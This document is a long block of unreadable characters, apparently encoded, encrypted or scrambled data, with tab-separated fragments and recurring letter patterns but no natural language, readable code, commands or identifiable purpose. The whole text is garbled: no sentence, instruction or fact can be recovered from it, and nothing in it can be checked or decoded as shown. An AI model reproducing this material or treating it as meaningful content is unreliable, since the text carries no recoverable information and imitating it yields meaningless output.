ZQijW[	iMV6SG x0`_1[e5 %l5XgUbW&RUh]}QRQV	ZSl4|WL	QuV6SDv0`_i[Tj {X?U3WRUR]OQ<1R:QV	
ZTP#jWW	k~V3SX03_[WP @XUnWRUk]4Q7RQ1	 ZePIWg	o_V6SFr0`_1[eB 2zX UDW<R Uh]KQd1RdQt	ZR@5W[	k2uVSnq0U`_i[SO O1XU~W&R Ul]OQf7RQc	cZbi|W[	huV3STjU:_4[UB =l1X?UvW&RUh]}QReQA	fZeP34Wa	4 oVSjHG=_l[OO DX UbWRUP]XQbRQF	Zek5W`	MNVSm/O1z_l[LB 9RXUjW&R	Ul]KQ RfQx	9ZZ@g|Wg	R.sVSmj k`_p[WP OXgUvWRUA]uQ3RgQV	%ZU_BWg	nguVSkS7G_\[Wi lXUTWRUk]4Qg7RQV	%Zbj#hWM	S OV3SHD0"_r[SO 6zX8U\W&RUk]uQ'7RQd	&ZRA3FWO	@>VVSW/W33_s[T_ 9n7XU3WR2UA]uQ'3RQd	ZQjfBWg	ng3VSTD0"_r[SO 9OXgUjW.RU5]bQ- R.QN	gZbl?JWW	2]VSV5E_v[UP azXU\WfRUk]uQ$RQB	ZQiBWW	7&@VS141z_C[[O R6XfU3W.R	Uh]OQ1R.QN	ZVi5WS	S oVSjHE_p[dO RXUTW:R	Ul]KQ$RQZ	+ZROIWU	A}VSDr10_l[WR =HXUPW.R7UA]GQg1RgQR	:ZT_TWX	PsVSj;qW_l[`R =YXUPWRUC]4Q>RQ5	ZO_?6WL	Bc}VSmk33 _5[[@ HXUTWRUA]CQaRQR	&ZeABW`	43VSV4U!_3[LA 5lX9U~W:RUh]eQg R.QI	bZM@NWa	]2}VS0Dn_l[e5 %n7XUjW RUk][Q6R?Qt	gZb@#NWO	M 3V3Szt1z_l[X5 %2XUTW8R Ul][QRQh	eZSj#BWg	ng3V3S2nqV_\[UP %lX:UTW8RUB]_Q<ReQA	fZeP34Wa	4 oVSjHE_p[d@ %D1XUPWRUQ]CQaRQR	&ZeBGWO	@>VVSj7E_v[WP %26XeU@WfRUh]}Q3RdQZ	ZU_?rWM	S:JVSD;xl_l[S4 6yXeULW.R	Um]4Q1RfQZ	$ZT_6WQ	P:NVSmbD0_r[RA A6XUPW&R7UQ]4Q7RQA	fZWR rWM	]HVSGI7D_Q[Ti n XdUHW.R	Uh]OQ1RgQd	ZSPTWa	Q:kVSF?432_}[WR 5pXfUTW.R	Uh]OQ1RgQd	ZSR?JWW	2]VSV5E_v[X7 2zXUPWR	U@]CQb3R.QJ	ZUR?HW[	6&VVSGb50_r[RA DXUTW&R2U@]GQ3RdQ5	ZN6;GWW	]>VV6SFV3z_v[`_ n7XUTW&RUm]_QRQI	$ZSABWO	M&VVSD7H _1[Vj 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUjW8R
U^]_Q6R9QF	bZVl]WT	2rVS3KH1_s[NP 5NXUjW:RUB]LQbRdQw	$ZOP3HWO	A:iVSD40"_r[NP 5NXUvW-RUl]OQRQF	Zbj#BWg	M2OVSn'jV>_r[SO 907X.UbWRUP]KQaRQU	gZVjmWf	nQVS13{6T_Q[[Q {6XU@WR1Ul]eQaRQR	 Zd@TWg	S }VS3'rV_@[cj `l1X>UDWfR2UB]aQ'RQ5	%ZdO?4W`	7csV6SH8v6m2_0[`P YXUjW8RUC]aQ6R?Qt	ZVR35Wc	43V3S2bD0_r[RA l6XUTW8RUN]aQcRQE	fZQRbrWW	6>JV5Sm#oE`_Q[O6 =AXUnWRUj]CQ1RfQZ	 ZaP#5WM	CNVSG7E_v[NP nX9UHW.RUj]_QRdQI	$ZSAGW`	hcuVSn?2 0_3[[@ YXUTW`RU7]CQ1RfQZ	 ZaP#5WM	CNVSl1W2_4[Rl =n6XU\WR7UP]CQ0RQZ	ZRB35WM	R:~VSlr13_}[W_ y1X8UPW R7U@]GQ$7RQ1	9Zek@W`	A:]VSV4U_W[dk 2XU\W8R
US]9Qg6RQt	bZOQ]Wf	h>2VS0c20_r[RO l6XUTWR	Uk]uQ1R.QJ	:ZMB?TWU	BcOVSm/q331_p[SO 926XUTW`R	Uj]eQ 6R9Qg	bZZ@_WO	A:kVSE;t z_O[`P %36XUHW&RUh]CQ7RQV	'ZRO?IWU	CuV6SG#W 2_P[WP OXgUvWRUA]uQ3RgQV	%ZUPPWW	65V6SFr j_l[OO D1X>UDW.R7U6]_Q"RQZ	fZb@#5W`	BuVSmbWU!_o[dk F6X:UnW`R	Uk]GQd1RgQQ	+ZTP#6W`	:kVSE;T6m_P[S@ %36XUHW&RUj]@Qf R.QN	ZRB<|Wa	B:MVSFy z_O[`R 5nXUjW&R	Uh]OQf RfQZ	ZRB<|Wa	@gkVSjV 3_l[OO D1X>UDW&R2UB]XQ 7RQ1	9Zek@W`	A:kVSmk1z_P[SA 5@XUnWRUQ]8Q"3RgQR	 ZY5#jW`	B:uV3SD?D0`_Q[Pj `DXU@WfR2UB][Qg RgQd	Zbl;hWg	R.uV3SG/k30`_p[O6 =AXUnWR2UN]aQ$0RQh	
ZbO4WP	BEVSj;qW_l[`R =RX UDWRUj]CQ$RQV	Ze_IWW	75V6SH'4W_v[Wl 52X UTW-RUh]CQ'7RQZ	!ZVR3hW[	i OV3SG#V3H1_O[cA 5OXU~WR	UN]}Q R.QI	cZZBJW`	o2]VSV5G=_0[c@ `lXU~W.R7US]_Q<R QI	fZaR;hW[	h:MVSDy6k_3[Pl 2y1X8UPWR	Uk]uQ  RdQp	ZR@fBWU	AsV6SH'S 2=_l[`R =YXdUTW&R7UA]uQ=3RfQg	bZeR3jWT	A:3V3Szt33_v[X5 %l6XUjW&R7UB]aQ7RQJ	gZe_|W[	h:sV6SDr7D_r[WP @XUnWRUQ]uQ3RfQh	$Zbj#BWX	S3VSH'V 2_\[cB 5hXU?WR	Uk]GQ'3R.QN	
ZUP4W`	7~V3SG#W 2_l[U_ DXU~WRU@]jQ 6R9QZ	:ZdOjWW	h.NVSmc2U_W[dA VXgUbW&R2UN]OQ"3RgQR	 ZY5#JWP	BcMVSn;r33_v[X5 %L6X>UbWRUP]KQcRQh	:ZNOBWS	Q2]VSV50_r[RB AXUnWRUP]HQ!RdQQ	$ZS@3hWg	QOV6SEsU_W[NO nX:UjW&RUR]_QaRQp	 ZT5#BWU	M:kVSn<vU!_s[U5 %D7XU@WfRUk]=QbRQ5	eZVl3nWU	B.OVSEQk!_v[Pj %LXUTW RUl]aQ'RQZ	:ZaR;_WO	M MVSm1V_0[TR =nXUHW<R7U7]CQ6R9QZ	$Zd4|W[	oiVSmv33 _r[O@ HXUvWR Uj]DQ 6R?QZ	
ZY5#HWL	Q}V4SE51j_\[WR =nX9U~W:RUB]OQRdQt	eZMA3jWW	h.kVS10012_P[NP hXU~WR U6]KQ 0R QN	eZTPNWL	M&VV3SH?V30!_p[X7 =nXUbW&R7UB]aQ'RQl	ZRBHWg	@_VSFU13_v[dR 5RX8UTW R2UN]aQ  RfQh	+ZN73hW`	B:uVSjS32=_v[[O OX U\W8RU^]HQ.1RdQt	ZN7GWO	@>~V3SG/q10!_l[LA 2z5XeU\WR	UC]HQe RQx	gZQk3TWW	4}V3SG/4 1_V[W@ `l1XU\WR2UN]HQd0RQR	$ZSi|WQ	]2OVS2q319_W[Rj %35XgUTW<RUh]eQ 1RgQR	
ZbONWW	PAVSl1U!_3[Wl 5n6XU3W8RUC]XQ.7R?Qp	'ZN4hWa	BcuVSm/q30d_W[e4 OXUbWfR	Uk]GQ3R.QJ	fZM@NWX	]2}VS020_r[RO 37XUbW&R2UN]LQd3RgQQ	fZaR;_WW	SAVSF1V_O[VR 2yX:UbWfR2UA]GQdRQE	bZbB;6Wa	7kV4STV 3_0[U_ n7XUvW&RUC]4Qf0RQh	eZaj$Wg	CMV6SDtX_3[e@ %36X UbW R7UB]aQd3RfQZ	:Zd54W`	4}VS0D1z_0[X4 lXUTW8RUQ]=Q.7R?Qp	ZQjfjWU	Bc5V6SDjU%_1[Pk 5Y X.UjWRUP]KQ'0RQR	ZRA4|Wg	C}V3SF?r13 _}[Rl 2zX8U\W.R Uj]KQ0RQp	ZdRhWX	PoVSn?40T_U[[O 3X U@WR7UC]HQeRQ1	eZbl|WS	PguV SUnJ z_V[Wi HXUvW&R7UA]yQg3RgQR	!Zd@|Wc	4OVSE3 U-_1[Pk 5RXeUHW.R7UA]uQb ReQB	 ZV@fjWg	SOV6SH26m_l[WP "z1X UDW<R Uk][Qd1RdQt	ZN7GWO	@>sVSl20T_0[X7 2yX U\W8RUC][Q RQZ	'ZN7;hW[	oMVSDt32=_3[Wi 37XUDWfR2UB]aQ'RQR	:ZaP#hW[	k2OVSm/q30-_U[NQ =AXUjW<R7UN]aQ RQR	:Zd64|Wg	iOVSj;2X_s[Rj %H6XdULW<RU7]eQ$RdQt	ZT5#hW[	n&OVS3?4W_v[Wl 5HXUjWRUl][Q$R QM	$Zek4WL	]:OVS0RU!_\[ck 2z1XU\W.R7U@]eQ$1RgQU	+ZMB4W`	AVSl1U!_3[Wl 5n6XU3W8RUN]}Qg3RgQR	'ZN5f5WM	]2uVSm21m=_1[Wl =OXU\WRU@]KQ1RdQt	ZRO|WM	R5V6SEDT_\[cj %Y XgUPW R2UN]}Q&3R.QN	gZVl;jWL	RcoV3SX'1 W=_q[Tj %H7X UbW.R	Uh]OQ"3RfQZ	 ZaP#KWW	Q}VS0D U-_Q[Pk 5R6X.U@W.R U6]_Q7R?QZ	ZN@WO	M&VV3ST4 0!_G[e5 OXU3WRUh]eQ 1RgQR	
ZbO4WO	QOVS2o3 U_Q[O@ O1X8U\WR	Uk]uQ"RQB	eZd@#5W`	Q2sV3SD;232_l[e4 l1XU\WR U7]eQ  RdQx	ZUiIWP	@}VSj;k6m=_G[S@ zXU3W&RUS]4Qf0RQh	eZaj$Wg	CMV6SDtX_3[e@ l6X UPW&R Uk]9Qd1RfQZ	$Zbj#hW`	B:uVSVy10!_@[SB NXdULWRUA]5Q/1RdQt	ZRO'BWW	oVSz7H _4[eB 2z1X>U@W.R7U7]@Q 3RdQt	ZdR4Wg	BcuVSmQW_0[Pj H7XULWRU@]CQ R.QJ	 ZVP#TW`	5&uV3SG#1T_1[Wi 3XU~W.R7UR]KQf R.QN	
ZMB4|WO	AAVSl1U!_3[Wl 5n6XU3W8RUN]}Q"3RfQZ	ZN5f5Wa	@&5VSk;2 z_l[`P %YXUvW&R7UA]yQg3RgQR	$ZePWW	6:uVSl?W 3_[Oi !DX.UTW8RU^]KQ1RdQt	ZRO'BWW	kV SWB19_U[NQ =AXUjWfR	Uk]GQb3ReQB	ZM@#IWV	6 OVS3?t30_i[U7 =nXULW<R Uh]OQReQB	ZTR4|WW	i uVSGnJ33_w[e@ z1XU\W.R7U@]eQ$1RgQU	+ZdR4WU	AOVSj3 U_Q[O@ O1X8U\WR	Uk]uQ"RQB	eZbj#hWS	Q2sV3SHJ6j_O[e7 2yX9UjW&RUP]KQ3RdQx	 Zb@jWT	A oVS1432_\[WR 537X.U\WbRUj]@QgRQl	+ZQiIWP	@1VSl1V9_l[Pk 5Y XgUTWRUl]XQ 1R?QZ	ZbOjWQ	SMV SV0 z_V[cj yXUvWR7UR][Q3RfQh	$ZbjIWU	BckVS3'B0W2_4[O5 %3XUjWRUB]HQ-3RfQh	 ZZOIWS	QOV3SD;2 2=_r[X5 yXUvWR7UA]yQ 1RgQQ	+ZN73jWa	M2uVSm/qU%_s[O4 n7XU3W&R	Uk]uQ'3RdQ1	ZQjWO	M&VV3SE2z_}[d_ 3XUPWR Uj]KQR QN	ZeP#hWU	C OV3SH3 V9_U[TP %l6XUTWfR U6]HQe RQp	
ZQk3_WV	75V6SDr1m=_0[cO lXU@WRUP]KQd7R?Qt	ZN@|Wc	4OVSEQ1z_v[Oj %NXULWbR U7]@QgR QJ	eZVl3hWM	]2oV3SUyU%_q[OO !v6X UbWRUR]OQRQh	Za_jWL	]OV3S1k6k_U[U5 `D1XUTWfR2UB]\Qe RQl	ZSl4|WW	i}VSlJ7l9_G[L@ zX8UPWR7U@]_Q6R9QZ	:ZVP$|Wg	QoVSmv10!_@[O4 nX8UPW&RUh]fQ RQp	?ZMOIWP	A2CVSTHU_U[L@ %D1X UDW-R2U@]eQ$0R QI	fZd5fBWU	C OVSj3W_4[Wl 53XUbW RUl]aQ= R.QN	?ZNjKWa	1VSUn1 2_0[dR =YXUHW&R2UA]~Q R QJ	
ZV_WW	7sVSmc30X_V[Wj azX.UbWRUk]uQ"RQZ	ZNlHWT	@}VS02 2=_r[e5 "z6XUjW-RUh]eQ3R.QJ	fZM@NWa	P}VS020_r[R@ 5RXU7WR U4]uQ=3RdQw	cZekNWW	ngsVS3?W10!_G[SB =O6XULW&RUB]OQfRQZ	:ZNB;TWM	S&sVSm#41z_3[e4 DX.UDW8R Ul]_QaRQR	!ZMR35Wg	o5V6SD;qX_3[TP %l1X9UvWR2U@]GQ=RQZ	!ZVi5WO	C kVS27E_v[eB 2yXU@WR7UN]OQdRQZ	&ZOR_WV	4 iVSm#V13_r[`P %lX9U~WR2UA]GQ'RQt	ZaR3hW[	h:uVS1?ST_p[`l 906X?UTWRUl]OQRQF	 ZMjfBWX	PuVSmo4W_w[Wi 3XUjW&R2U@]GQ$ RfQh	:ZaR;IWg	n25VSj2U_W[dA l6XUTW8RUN]aQ$1R:QQ	bZeR3jWT	@kVSDD7D_3[T_ z7XUHWRUN]CQRQF	ZeAjWT	B:sVSn;r0T_U[c@ %R6X.UjW8R	Uk]yQ 1RgQQ	$ZaPg|Wg	R&sV6SFk1n_3[TP %l1X9UvW&R2UC]HQdRQF	ZR@TW`	5CVSTH0_r[R@ %hX9UjW RU7]eQ R.QI	cZRO?TWg	S uVSGbD0_r[RA D1XU~WR U4]GQd RgQV	Zbl4|Wg	oOV6SGqV_4[[@ %DXUDWR	Uk]GQ3RfQg	bZMBnW`	M>uVSH;W31_p[O6 =AX UjWRUP][QgRQg	bZSl;hW`	COV3SVj z_r[Rl =n6XU\WR7U^]aQb0R QN	ZVQ3FWO	@>VVSkS7D_O[Wj `l1X>UDWfR2UB]aQ'7RQd	&ZaPfjWg	o5V6SD;q1m_w[dR 5OX9U~W:R2UN]OQRQl	9Zek@W`	hcNVSE;j z_r[Rl =n6XU\WR7U^]CQ1R9QR	eZMPf5WO	S MVSEWU_r[RB AXUnW:RUB]aQ0R QN	gZV_IWS	V"]VSV51j_0[c@ `lXUrWRUP]HQc0RQQ	fZbk3JWW	5gMVS2/k30"_r[eR 5l7XUbW&RUk]uQ'RQp	%ZN7;hWa	M OVSlQ 2_r[OR 2yX>UDW<R7UA]yQRfQZ	:Zbj6WW	OVS3?t1m=_1[e5 %l7XUvW<R7UN]eQd3RfQh	$ZaijWa	BOVSGsU_W[NB =n7XUPWR	Uj]_QR QJ	 Zbl;hWP	A:kVSnB V_P[eP n1XU\W.R7U@]eQ$1RdQo	$ZdRTWX	PsVSmk 0!_Q[dP %nXUPWR7UN]@QbRQp	%ZdPhWg	h.OVSlO12_r[Ri lXUTW:RUk][QRQo	cZek@W`	o>MVS2D0T_V[d_ yX UjW8R7UN]aQ$0RQh	ZdP3@WO	@>VVSWc5W_G[J5 5O1X?ULW R2UB]_Q1R.QN	
ZNR3hWT	A:kV3SG#k z_r[L@ h1XUPW&RUh]fQ RQd	?ZK53_WM	P5VS2nD32=_3[TR 50XdU7WR U5]eQ1RgQR	:ZQl3hWa	@&uVSkj1n_[X4 907XfUHW`RU4]4Q'1RdQ4	bZQi5W[	7NVSGw3_Q[`@ %DX U\W8RUQ][Q RQp	?ZOOWg	nsV6SDs1>_0[Pi O6XdUTW&R2UN]}Q RgQd	%Zbl;BWg	h.uV4SD;SU!_\[Pl z1XU\W.RU6]HQdRdQ0	cZRB?_WS	lo}VSn;BW_l[Ri nXUTW&RUk]DQ 6R9QY	fZTR;hWg	A OV3SHQ30`_@[cl {1X:UDWR1UA]yQ RQx	9ZZArW[	ncnV5SmN j_4[T7 )VXUTWRUk]9QdRdQ0	cZVP3TWM	QuV ST7E_p[NO yXUbW:RUB]OQRQx	 ZMO4WW	5&OVSnO10e_r[eP `lX>UDWRUk]XQ%RQF	ZeAHWW	ouV ST51z_Q[dR 52XdU7WR U4]uQ=3RdQw	$ZdP#5WW	isVSk313_v[[O OX UbW8R Ul][Q0RQh	!Zb@}WO	SuVSl31>_0[Pi O6XdUTW&R2UN]}Q RgQd	ZZ@#BWU	@&uV3SHS7D_3[dP %3X?UHWR2UB]aQ"3RdQ5	)ZVPKWM	F"iVSD;O12_r[`P 5FXUnWRUQ]8QcRfQZ	+ZROIWg	B.uVSj06n_r[Lj `D1X?UvW.R7UA]uQRQl	ZZB4|Wa	@&MVSm/V 3_@[[B 5nXUTWRU4]DQ 7RQd	&ZN5NWL	P OVSk;VU_G[NO z7XUrW8R U6]GQRQF	ZeAGW`	o>sVSlS13_l[e@ 5L1XUvW RUk]yQb1R.QJ	eZd4BWW	oV3SE;V0W=_3[LO lXUjWRUC]aQg6R9Qh	 ZbO?6W`	o2kVSjl6m=_V[c@ {XUjWR7UN]OQ<3RdQZ	?ZOO|Wa	V"kVS0DU_W[dA A6X>UnW RUj]CQ1RgQR	:Zd@3JWg	C&sVSm#41z_3[e4 DX.UDW<R7UC]aQ 0RQh	eZMOjWM	R:NVSE;O12=_V[dP %nXUPWR7U^]CQRQd	?ZK7/BW`	@.RVSEDG=_r[`P `lXU~W.R Um]GQ 0RQw	cZRBTW`	6&VVSGb5E-_V[dP n1XUbW&R2UA]=QbRQR	ZeR;5Wa	@gsVS3?W10!_G[Oj "zXUjW RU7]eQ R.QI	cZU_0Wg	iOVSm#W 2_P[[B 9NXgUPW:R1Ul]HQfRQF	$ZRPrW[	nOVSj;431_s[e@ `lXULW<R7U7]CQ/ R.QN	ZaR3hWM	]:uV SUV0U"_5[SB R6XgUvWRUA]8QcRQx	 ZePhWg	]2uV6SGg4X_S[dR =37XU7W RU5]eQ1RdQt	ZNj$|WM	]:sVS1?W z_5[T_ 6y1X8U@W&R2U@]GQ=7RQd	&ZN5NWL	]_VSmJU_\[c@ {1X8U\WR2UB]KQb RgQR	ZOO|Wa	V"kVS0DU_W[dA A6X>UnW RUj]CQ1RgQR	:Zd@3JWg	C&sVSm#41z_3[e4 DX.UDW<R7UC]aQ 0RQh	eZMOjWM	R:NVSE;B6k!_Q[cB 5h6XUTWRUA]CQfRfQx	ZZQTWW	7>sVSn?W0W=_1[X5 %NX8U\W RUB]_QReQB	%Zek@W`	k>VVSF4W_0[e5 %l6X UjW8R7U@][QbRQR	$ZTPgWg	C }VS033z_0[dP ayXUPWRUl]_Q7RQJ	:ZMjfjWS	hNVSG02`_l[Lj `lX?UTWR0U^]aQRQF	eZVj#hWT	A>~VSnsU!_F[dk 26XdUTW8RUA]4QRQB	%ZR@TW`	5kV SV4W_0[e5 %l6X UjW8R7U@][QbRQR	$ZTPgWg	C }VS033z_0[dP ayXUPWRUl]_Q7RQN	ZQj#JWa	4 oV3S2sT_0[e5 %OXgUbW&RUh]}QRQF	ZOO|Wa	V"]VSV5E_p[N@ 2yXeU@W.RU@]CQ3RgQV	%ZUPPW`	@.@VSU;5H_p[SA 5MXUrW8R U6]GQRfQZ	+ZROIWg	B.uVSj06n_r[Lj `D1X?UvW.R7UA]uQRQl	ZZB4|Wa	@&MVSm/V 3_@[[@ `37XUvWfRUh]}Q  RgQQ	bZb@gWS	RNVSG02`_1[dP azXdUTWRUl]aQ' RgQR	:ZSl;_WS	isVSD5z_Q[T_ RX.UjW:RUR]_QaRQR	&Ze@3TWM	QuV ST7E_p[NO yXUbW:RUB]OQReQA	fZM@fjWg	BuVSD7E%_V[L@ `l1XUHW&RUj]@Q-6R9Qh	
ZMO_WO	M AVSGnB7E`_i[S@ `3XUbW&R	Uk]GQdRdQ5	?ZQj4WW	5&uV6SFk12_r[cj %n6XUjW&RUR]OQf RQx	ZdPhWg	h.OVSlO12_r[Ri lXUTW:RUk][QRQo	cZOB;IWX	V"iVS1?t0_r[R@ 5YXULWfR U4]4QaRQQ	$ZS@#5WM	]2OV6SH;r0W=_G[TP `D1XUbW RUk]8Q7RQI	bZeR3jWT	BiVSDj3z_0[dP ayXUPWRUl]_Q<RQ5	&ZN6;GWT	PosV6SEnr6m_v[cj %LXUTW R2UN]bQ 6R9Qg	fZa_?6W`	o2]VSV1 z_1[U5 %3XU\WRUC]_QRQI	$ZSA;GWW	RcuVSn?2 0_3[[@ R6XUTW8R	Ul]OQ7RQZ	:Zd45WO	PguV3S2c2U_W[dk 2XU\W8R
U^][Q?R-Qt	<ZZ5/uWc	A:rVS2?5l1_4[L5 >q5XUrWaR1U|]OQRQh	 ZT_|W[	oNVSF?t6k_i[WP R6XUTW8RU@]eQ"6R?QZ	?ZR@3JW`	7~V3SX2U_W[cl 53X UHW.R	Uh]LQ 6R8QB	%ZOPhWQ	R.MV4SF4W_@[TQ  t7XUHWR1Ul]aQ9R8QB	ZRO?hWU	C }V3SWc2U_S[WP %26XeU@W.RU4]GQf1R.QN	
Zd7?TWU	Bc5VSmkV_r[Tl 9L6XgUjW:RUk]4Q<1R:Qd	)ZVPIW[	6&VVSGbt32_v[e5 YXUTW`R	Uj]eQ1RgQU	cZZO6Wa	2]VSV4U_W[cl =lX9U3WfRUk][QRdQ5	ZMP#JWP	BcuVSm/2E-_o[dk FXUnWRUP]KQaRQR	 Zd@TWP	M:5VSn'O30_G[T_ 9n7XUvWR	Uk]uQ  RgQV	&ZRBIWS	n3VSnJW_v[Wl 526X.UjW:RUk]4Q<3RgQR	 ZY5#JWa	4 kVS27E_r[RA LXU\W8R
UQ]eQ;RQF	aZa@']Wf	SwVS2?l6F1_7[V_ =[5XU\WRUR]OQRQ5	
ZbiBWg	@MVS3?WW_l[dP `3X9U~W8RUR]OQRQZ	 ZTRWQ	]25VSl?40X_V[cB 9RXUjWRU6]aQ0RQZ	
ZUR?JW`	|okVSE;F13_v[L@ `l1XUHW&RUh]CQRQV	%ZZB/5WM	R:~VSk;26k_\[dP `3X9U~W`RUQ]CQaRQQ	$ZSAJWM	CkVSW?mW_5[`6 kXdUbW%R2UQ]jQb0RQE	$ZSAjW`	MkVSH;W1z_3[cB =RXU3W&R	Ul]aQ RgQR	)ZVPTW`	]kVSF?t z_v[`P %06X.UjW:RUk]4Q<3RfQZ	:ZY5#hW`	M23V3S2n17H_s[cl =n1XU~W&R7UA]uQ=3RdQ5	&ZRA3FWO	@>VVSW/W33_s[TP l5XeUPWR	Uk]GQ3RdQZ	fZV_WU	@gNVSF0v6m_l[eO lX9U~WRUk]8QRdQI	$ZSAGW`	k>OVSktW_0[c@ %36XUHW&RUl]_Q<RQZ	
ZV_5W[	n&MVSj;20`_Q[cl 2zX?U7W8R	Ul][Q RQB	ZbA3hW`	@gMVSHWU_r[RA A6XUjW8R	Uk]GQ=1R.QJ	ZRA3FWO	@>VVSWb5 0`_@[[A 9n6XUbW&R2UN]bQ  R.QN	gZNPhWU	B.OVSmv30`_s[[O 21XU3W&R2U@]DQ 1RgQR	:ZbB?TWU	A5VSm16m=_V[cB 9L6X-U?W8R	Uh]eQb1R.QJ	:ZaPfjWO	R.NVSF0v6m_l[eO lX9U~WRUl]_Q<RQt	eZMPg|Wg	h.}VS0jV9_W[SO 6z5XgUjWfR2U@]GQ$3ReQB	)ZVR?HW[	6&VVSGb50_r[RA DXUvWRUB]OQRQ4	gZVjmWc	B 7VS2023W9_][S5 !s5XUjW'RUR]OQRQh	:ZY4|W[	i uV3SWnS6k_3[UP %DXU@W`R	Ul][Q$R QJ	
ZV_5WL	]:OV6SFWV_q[e@ RXUjW&RUm]aQ"6R?QZ	gZaPfjWO	R.kVSDj7H1_p[SA 5@XUnWRUQ]8Q" RfQh	ZbiBWg	@gkV STD7G_4[Wl :yXgUjWR	Um]_Q'7RQY	bZbB<|WU	C }V3SD4 2=_P[O6 =AXUnWR2UA]uQgRQB	fZdOjWW	h.@VSm16k_3[LO 0XU3WR2UC]4Q"6R?QZ	gZTR?JW`	n_VSjHE_p[dB 5LXUTWR	Uk]uQd3RfQh	eZMB4Wg	A kVSn;4131_Q[dR 5O1XU~W R2U@]jQfRQZ	:ZNOBWg	ouV6SEjE-_o[dk F6X:UnWRUj]CQ$ RdQt	eZb@IW[	6&VVSGb5G2_r[T_ 6tXUPW.R7UA]GQRQY	fZd63JWW	5&}V3SG4W_l[cj R7XfUjWR0UP]CQ6R>QJ	
ZV_4WP	BcOV6SEnt6k_1[U_ Y6X.UHWbRU^]CQRQk	gZRO0Wg	osVSn'r1z_C[[@ YXUTW`RUk]yQb6R9Qh	 Zb@#TWa	4 NVSG7E_p[dA VXdUvWfR	Ul]KQ 3ReQB	Zbl3jWV	7c5VSn?O1l9_s[L4 !M7XeUPW<RUl]OQRQF	 ZOQ;GWW	]>CVSTHU_W[dO 0XUWWeR0Uh][QRQJ	`ZRCSWf	n%6V4Sm<xU_W[d@ %lX?U7W&R2UA]uQgRQZ	 ZT_|W[	oNVSF?t z_l[Pj %36XUHW&RUk]8QRQt	9Zek@W`	k>OVSkjH_v[X5 %LX.U@W.R	Uj]GQ 0RQh	ZRO?6WL	CEVSn'V10!_p[T_ 9tXU\WRU@]GQ RQF	9ZZB;BWW	7OVSnt33_v[X5 %LXUjW;R7U6]fQ  RdQZ	ZQ735Wa	@ouVSk;K1l_\[L_ nX8U\W R2U@]eQ"6R?QZ	?Za_?6WM	B~V3SV?EG`_v[SQ 9j1X?UbW`RU4]GQ RfQY	fZeP#hWc	4 OVSlj m_o[[B 537XU?W&RUm]aQRQ5	%ZL5TWQ	PgMV6SH'J30_3[U_ 906X.U\W8RUC]aQg0RQh	 ZY5#jWS	RNVSmc2U_W[dB AXUnWRUP]KQc1R:Qc	gZRC6Wf	715V4SjXV_7[R} z5X ULWRUP]KQc3RfQh	 ZTP#jW`	MkVSH;W1z_3[cB =RXU3W&R2U@]eQRQZ	!ZVR3hW[	h:sV6SDrE`_s[eO 92XeUPW.RU5]}Q$RQB	Zbj#5W`	BuV6SH'V 2_\[cB 5hXUPWRUj]@QdRQF	ZeAJWU	M}VSGo4X_Q[eB 2yXfU~WR7US]_Q"3RfQh	
ZVR;hWc	4 OVSmq0W2_}[cO RX UHW`R7U4]9QdRQF	ZeAjWO	C3VSX'4X_P[S@ %36XUHW&RUk]4Q<1R:QV	fZb5#nWQ	]25VSl?rF_\[eO RX9U3W&R7UA]uQ=3RfQh	eZVl3nWU	B.OVSEWV>_1[SO 6y1X>U@W RUh]}Q$1R.QN	ZZ@_WW	P3VSm#46m=_V[c@ %R7XeUPWRUA]CQaRQR	&ZeBhWc	5&OVSj;O30`_@[cj %h6XeUPW<RUl]OQRQY	$Zek@WO	@>VVSj?VW_][N@ )s0XUrW!RU5]WQ87RQt	ZN7nuWc	ClV6SXwU_r[RA lX9UHW.RUk]GQ3RgQV	%ZU_BWg	nguVSkS7E!_Q[eO lX9U~WRUk]4Qg7RQV	ZV_Wg	h.MVSEt 3_l[L4 nX:UbWRUk]8QRQt	9Zek@W`	k>5V6SGfDF_r[eO lX9U~WRUk]DQg6R?QZ	eZMO6WP	Bc}VSm#W 2_P[WR 9LX.UbWRUP]KQcRQF	 ZT7?TWQ	S5VSlD z_1[WP "z6XUjW R2UC]GQ3RgQR	 ZY5#JWW	7cOVSmOW_4[Wl =RXfU~WR	Uk]uQRQB	)ZVPFWO	@>VVSW 4W_l[X4 zXUTWRUl]OQRQF	&ZeO?hWL	R.MVS1r13_r[S@ 5LXgUPW RUh]}Q$ R>QJ	eZVl3nWc	7.}VSES7G_4[cB :yXfU~W.R7UB]OQ=RQB	ZUlTW`	o2]VSV5E_v[U7 9RXUvWRUj]eQ3RfQR	&ZR@#5W`	BuVSl4U!_\[e4 l1XU@WR	Uk]GQRQB	)ZaR?}WW	5&5VSjV31_@[ci n5XeUPWR	Uj]_Q=7RQY	bZbB<WW	7.}V3SDWV>_1[SO 6y1X>U@W RUh]}Q$1R.QN	ZZ@_WW	P3VSm#46m=_V[c@ %R7XeUPWRUA]CQaRQR	&ZeBGWO	@>VVSj7E_r[RA LXU\W8R
U^]WQ3RQd	<ZQR'GWO	@>VV6SGk1z_l[WP %26XeU@WfRUh]}Q3RdQZ	ZU_?hWM	RuVSj4 2=_P[WP R6XUTW8R	Uk]uQ1R.QJ	:ZMB?TWU	B:uVSk;16m=_V[cB 537XU?W&RUk]8QRQt	9Zek@W`	k>3VSjq0W2_}[c@ YXUTW`R	Ul][Q R QN	ZeR;hWP	B:3VSjrT_w[WR 5nX9UjW R2UB]KQ$RQI	$ZSAGW`	C uV3SWnS33_v[X5 %jXU~WR	Uk]uQRQt	ZU_?hWL	R:sV6SDrE`_Q[NB R6XgUjW&R7UA]uQ=3RfQI	fZbA3hW`	@gMVS0S7G_0[X5 %nXUjWR2U@]_QRQ5	ZN6;GWW	]>VVSW/QF_\[`R 537XU?W&RUl]_Q<RQZ	fZe_6WW	6:OVS3?r0W=_\[OP nX>UTWfRUh]bQ 3RfQh	ZRB4WX	POVS3?W3z_v[`P `lX?UTW&R7UA]uQ=3RdQ5	Zbl4|W[	ngkVSjVV_Q[cA 5n6XU7WRUN]CQRQI	$ZSAGW`	A:kVSmk1z_P[SA 5@XUnWRUQ]8Qc RdQ5	fZdPfBWg	h.OV3SHQ30`_@[cl 2zX9U3WR7UN]OQ3RdQ5	&Za_?6WW	62uV6SD4 2=_l[cj R7XfUjW R7UN]OQ3RfQg	bZeR3jWT	C3VSjq0W2_}[cB 9LXU@WR U5]eQ$ RgQR	$ZT5#JWP	BcOVSlt 3_r[U5 %LX9U3WR7UB][Qb RfQh	ZVP_WM	@3V3S1OW=_3[Rj %D1X?U7W`R7U4]5QeRQB	